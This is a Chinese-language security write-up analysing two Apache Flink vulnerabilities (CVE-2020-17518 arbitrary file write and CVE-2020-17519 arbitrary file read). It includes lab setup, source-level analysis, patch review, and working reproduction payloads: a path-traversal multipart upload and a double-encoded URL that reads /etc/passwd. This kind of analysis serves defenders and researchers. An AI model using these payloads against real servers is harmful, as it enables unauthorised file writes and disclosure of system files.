作者: Veraxy@QAX CERT
原文鏈接:https://www.freebuf.com/vuls/260184.html
Apache Flink是由Apache軟件基金會開發的開源流處理框架,其核心是用Java和Scala編寫的分布式流數據流引擎。
0x01 環境搭建
個人喜歡手動搭建環境,已有相關漏洞環境的盆友可越過這節,直接看漏洞部分。
1.JDK裝好

2.安裝Flink
安裝包地址:https://archive.apache.org/dist/flink/flink-1.11.2/
為同時滿足兩個漏洞環境,這里安裝1.11.2版本

解壓縮
# tar -zxvf flink-1.11.2-bin-scala_2.11.tgz

修改配置文件conf/flink-conf.yaml中jobmanager.rpc.address參數為本地服務器IP地址
# vim conf/flink-conf.yaml
jobmanager.rpc.address: 192.168.18.169
并添加遠程調試參數:
# vim conf/flink-conf.yaml
# jobmanager debug端口
env.java.opts.jobmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5006"
# taskmanager debug端口
env.java.opts.taskmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
3.啟動Flink服務
# cd bin
# ./start-cluster.sh

看看開放了哪些端口:5005、5006是配置的debug端口,8081是webUI訪問端口,6123是JobMamanger進行RPC通信的端口

訪問服務

停止Flink服務:
flink啟動會把啟動的進程的ID存到一個文件中,相關配置在bin/config.sh文件中,默認是“/tmp”,由于是臨時目錄,會被系統清理,存放的進程ID就找不到了,也就沒法關閉集群了。
直接執行關閉指令,會發現關閉不了
# cd bin
# ./stop-cluster.sh?

怎么做?
新建一個目錄 /usr/local/flink-1.11.2/tmp 來存放啟動的進程的ID
修改bin/config.sh文件,為DEFAULT_ENV_PID_DIR指定為新建的路徑
DEFAULT_ENV_PID_DIR="/usr/local/flink-1.11.2/tmp"?

重新執行關閉指令:
# ./stop-cluster.sh?

0x02 遠程調試
上文遠程Flink服務的配置文件flink-conf.yaml中已經配好了遠程調試參數,開啟了5005、5006調試端口。

本地IDEA打開該版本源碼:
https://github.com/apache/flink/releases/tag/release-1.11.2
創建Remote配置,指定Host和Port,這里調試jobmanager,選擇對應的端口

開啟遠程調試

0x03 CVE-2020-17518
Flink 在 1.5.1 版本中引入了一個 REST handler,這允許攻擊者將已上傳的文件寫入本地任意位置的文件中,并且可通過一個惡意修改的 HTTP 頭將這些文件寫入到?Flink 1.5.1 可以訪問的任意位置。
影響范圍:1.5.1 <= Apache Flink? <= 1.11.2
參考鏈接:
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
- https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4
快速復現
1.利用一:文件上傳
編輯請求數據包,上傳 /tmp/veraxy 文件
POST /jars/upload HTTP/1.1
Host: 192.168.18.169:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13247690941547071692111317477
Content-Length: 248
Origin: http://192.168.18.169:8081
Connection: close
Referer: http://192.168.18.169:8081/
-----------------------------13247690941547071692111317477
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/veraxy"
Content-Type: text/plain
Veraxy!!!
-----------------------------13247690941547071692111317477--


2.利用二:文件覆蓋
若上傳路徑已有文件,將覆蓋其內容。


漏洞分析
查看該漏洞相關郵件,已經指出commit地址

移步commit,上傳功能的校驗問題,并指出有兩個測試案例

測試代碼再次給出提示,修改文件名添加../

找到系統的上傳功能

傳個測試文件,是/jars/upload接口

官方文檔對該接口的使用說明

在處理上傳路徑的地方打斷點

獲取filename

resolve()解析方法接收filename,與系統路徑拼接

dest存儲拼接后上傳路徑,傳給 fileUpload.renameTo()方法

上傳文件,并重命名保存至另一個路徑以做緩存

緩存文件存在時間很短,只有30s
此時系統按目標路徑寫入文件

補丁分析
對上傳路徑做了處理

org.apache.flink.runtime.rest.FileUploadHandler#channelRead0() 對傳入的filename進行截斷,只取末尾的文件名,傳遞的../ 和目錄名均被忽略

resolve()方法接收到的文件名只有結尾部分,與系統路徑拼接后返回

賦值給dest路徑變量,執行重命名緩存行為并上傳文件

0x04 CVE-2020-17519
Apache Flink 1.11.0中引入的更改(包括1.11.1和1.11.2)允許攻擊者通過JobManager進程的REST接口讀取JobManager本地文件系統上的任何文件。
影響范圍:Apache Flink 1.11.0、1.11.1、1.11.2
參考鏈接:
- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E
- https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801
快速復現
遍歷文件/etc/passwd:
http://192.168.18.171:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

漏洞分析
查看該漏洞相關郵件,同樣指出commit地址

移步
文檔找一下/jobmanager/logs接口說明 發送請求 系統接收請求,對request進行解析,初始化HandlerRequest對象 routedRequest.getRouteResult()獲取result,decodedPath為一次解碼后,pathParams存放二次解碼后結果 將HandlerRequest傳遞給org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile,獲取pathParams中存放的filename,拼接logDir返回路徑。 讀取文件內容作為響應。 routedRequest.getRouteResult()獲取的result是如何初始化的?包括其中的解碼流程。 回溯到org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0(),這里routeResult為后面routedRequest中this.result原型,看routeResult如何初始化 url一次解碼的地方,賦值給this.path返回 將method、path、queryParameters傳送給router.route()方法來初始化一個routeResult對象 其中decodePathTokens(path)將path進行了二次解碼,與此同時會判斷路徑中的“/”并截斷,我們傳入“/”的編碼形式免于攔截,隨后的for循環中再次進行解碼,成功返回一個正常路徑。 跟17518修復方式一致,通過File.getName()只取默認文件名 org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile方法, 路徑中的../和目錄名都被忽略,filename只剩下了文件名 Apache Flink 服務大多開放在內網,漏洞影響面不算太大,但大數據時代隨著該應用的使用量日益增多,其漏洞還是值得重視的。

http://192.168.18.169:8081/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd




不懂就問





補丁分析


總結
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1505/
暫無評論